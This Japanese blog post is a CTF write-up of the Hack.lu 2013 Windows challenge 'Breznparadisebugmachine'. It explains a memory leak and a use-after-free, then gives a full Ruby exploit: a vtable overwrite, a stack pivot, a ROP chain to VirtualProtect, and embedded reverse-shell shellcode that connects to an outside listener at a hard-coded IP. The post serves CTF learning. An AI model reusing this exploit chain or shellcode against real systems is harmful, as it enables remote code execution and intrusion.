Pwn De Ring

初心者がPwnを勉強していくために使っている標準出力先です。

Hack.lu2013 Breznparadisebugmachine (pwn500)

katagaitai CTF勉強会#8関東|medの午後問題として扱われた問題.WindowsのPwn問題ということで新鮮で面白かった.exploitコード自体は勉強会スライドとなんら変わりはないので,特に面白くはないと思うが,せっかく参加したので記事にしておく.

環境準備

  • ホストMacBookPro
    • Hopper, Ruby
    • こいつからexploitをゲストに向かって投げる
  • ゲストWindows Server2012無印
    • x86dbg, rp++, その他Windowsバイナリ解析に便利なツール
    • Windows Firewallを無効化
  • リバースシェル用の外部サーバ
    • ポート番号5555でlisten

下調べ

Windowsのセキュリティ機構もLinuxとほぼ変わらず,Linux用語を用いると以下のセキュリティ機構が付いている.
ASLR, PIE, RELRO, NXbit
またC++バイナリで,vector(STL), threadなどが使われていたりする.

解析

オーブンに入れて,プレッツェルなど3種類(Brezel, Laugenstangerl, Semmel)を焼いたり,ロボットに任せたりできるシステム.食べ物をオーブンに入れる際には,オーブンの番号や焼く時間,メモなどを格納することができる.また取り出す処理や,オーブンに入っている食べ物のAAを表示したりいろいろ機能が豊富で解析範囲が広い.ユーザーとのやりとりをするスレッド以外に,ロボットに任せる処理ではスレッドを新しく作り処理を行っている.
脆弱性としては,AAを表示する際に,ユーザの指定した種類のものでAAを表示する形式になっているので,小さいサイズが入っているオーブンに対して,大きいAAサイズを選択すると大幅にleakが発生する.さらに,SemmelだけInsertするときに後ろの方にヒープのポインタが保存されるので,これをリークするといろいろ便利. 他にもスレッド2の方では,UAFのバグが存在する(ここが分からずに当日を迎えた).

Exploit

大まかには,leakを使って,ヒープやバイナリのアドレスを求めて,ヒープベースやバイナリベースを算出後,UAFを使って,Editでvtableを上書きして,stack pivotして,ROPでmprotectに相当するVirtualProtectで実行権限を付与してあげて,シェルコードを実行させる方針. 以下にexploitを示す.

#!/usr/bin/env ruby
# coding: ascii-8bit
require 'pwnlib'


host = '10.211.55.18'
port = 27015

if(ARGV[0] == 'r')
  host = 'ctf.fluxfingers.net'
  port = 1340
end

B, L, S = 0, 1, 2
ON, OFF = 0, 1

# $ nc -l 55555
lhost = "10.211.55.2"
lhost = "150.95.129.191" if(ARGV[0] == 'r')
lport = 55555

puts "[+] listen 150.95.129.191:55555"
puts `nslookup alicemacs.com`.split("answer:\n")[1]

# https://gist.github.com/Charo-IT/70bca3ee57eac4b0d167614ac5f23406
sc = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7" +
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78" +
"\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3" +
"\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" +
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58" +
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3" +
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a" +
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32" +
"\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff" +
"\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b" +
"\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f" +
"\xdf\xe0\xff\xd5\x97\x6a\x05\x68#{lhost.split(".").map{|a| a.to_i.chr}.join}\x68\x02" +
"\x00#{[lport].pack("S>")}\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61" +
"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5" +
"\xa2\x56\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57" +
"\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01" +
"\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46" +
"\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89" +
"\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb" +
"\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" +
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53" +
"\xff\xd5"

def countdown(t)
  t.times do |i|
    print i
    print "."
    sleep(1)
  end
  puts ""
end

def menu(t)
  t.recv_until("[8] Quit\n\n")
end

def insert(t, type, time, slot, text)
  puts "Insert #{slot}"
  t.sendline("0")
  t.recv_until("[2] Semmel\n\n")
  t.sendline(type.to_s)
  t.recv_until(": \n\n")
  t.sendline(time.to_s)
  t.recv_until(": \n\n")
  t.sendline(slot.to_s)
  t.recv_until(": \n\n")
  t.sendline(text)
  menu(t)
end

def remove(t, slot)
  puts "Remove #{slot}"
  t.sendline("1")
  t.recv_until(":\n\n")
  t.sendline(slot.to_s)
  menu(t)
end

def info(t, type, slot)
  puts "Info #{slot}"
  t.sendline("2")
  t.recv_until(":\n\n")
  t.sendline(slot.to_s)
  t.recv_until("[2] Semmel\n\n")
  t.sendline(type.to_s)
  menu(t)
end

def edit(t, slot, text)
  puts "Edit #{slot}"
  t.sendline("3")
  t.recv_until(":\n\n")
  t.sendline(slot.to_s)
  t.recv_until(":\n\n")
  t.sendline(text.to_s)
  menu(t)
end

def robot(t, cond)
  if cond == ON
    puts "Robot on"
  elsif cond == OFF
    puts "Robot off"
  else
    raise "conditon error in robot"
  end
  t.sendline("4")
  t.recv_until("\n\n")
  t.sendline(cond.to_s)
  menu(t)
end

def oven(t, cond)
  if cond == ON
    puts "Oven on"
    t.sendline("5")
  elsif cond == OFF
    puts "Oven off"
    t.sendline("6")
  else
    raise "conditon error in oven"
  end
  
  menu(t)
end


PwnTube.open(host, port) do |t|

  heap_offset = 0x37c8
  
  insert(t, S, 30, 0, "GOMI")
  insert(t, S, 30, 1, "GOMI")
  insert(t, L, 30, 2, "LEAK")
  
  r = info(t, L, 1).split("\n\x00")[1]
  
  heap = u32(r[158...162])[0]
  heap_base = heap - heap_offset

  # for remote
  unless heap_base & 0xfff == 0
    heap_base += 0x1000 - (heap_base & 0xfff)
  end
  vtable = u32(r[174...178])[0]
  bin_base = vtable - 0x10f70
  
  puts "heap 0x%x" % heap
  puts "heap_base 0x%x" % heap_base
  puts "vtable 0x%x" %  vtable
  puts "bin_base 0x%x" % bin_base

  insert(t, B, 30, 3, "FOOD")
  insert(t, B, 3, 4, "VICT")
  oven(t, ON)
  countdown(15)
  oven(t, OFF)
  robot(t, ON)
  countdown(5)
  robot(t, OFF)
  remove(t, 3)

  food = "AAAA" * 2
  food << p32(bin_base + 0x1b24) # stack pivot
  food << p32(bin_base + 0x104b) # ret2ret
  food << "AAAA" * 3
  food << p32(bin_base + 0xc877) # pop eax
  food << p32(bin_base + 0xe008) # VirtualProtect@.idata
  food << p32(bin_base + 0x76b9) # jmp [eax]
  food << p32(heap + 0x67c)      # ret addr -> Shellcode
  food << p32(heap_base)         # arg1 -> lpAddress
  food << p32(0x5000)            # arg2 -> dwSize
  food << p32(0x40)              # arg3 -> flNewProtect(RWX)
  food << p32(heap_base)         # arg4 -> lpflOldprotect
  food << sc
  food = food.ljust(0x230)       # padding
  victim = p32(heap + 0x648)     # vtable pointer
  victim = victim.ljust(0x400)   # padding

  edit(t, 2, food + victim)

  oven(t, ON)
  
  t.interactive
  
end

外部のサーバでは,$ sudo nc -l 55555で待ち受けて,上記のexploitを実行する.
Hack.luはサーバを今もなお稼働中なので本番サーバで試した結果が以下である.ローカルでもシェルを取ることはできた.

f:id:encry1024:20170227205518p:plain

感想

Windows問はコスパが悪いが,ここぞという時に解けるとデカイという意見に同じで,やっておいて損は無かったと思うし,何より解析したり,Exploitを書くために検証したりするのが楽しかった.問題自体の脆弱性発見パートで詰んだ勢で,UAFが苦手だとわかったので,Linuxの方でもUAFはちゃんと気付けるよう精進したい.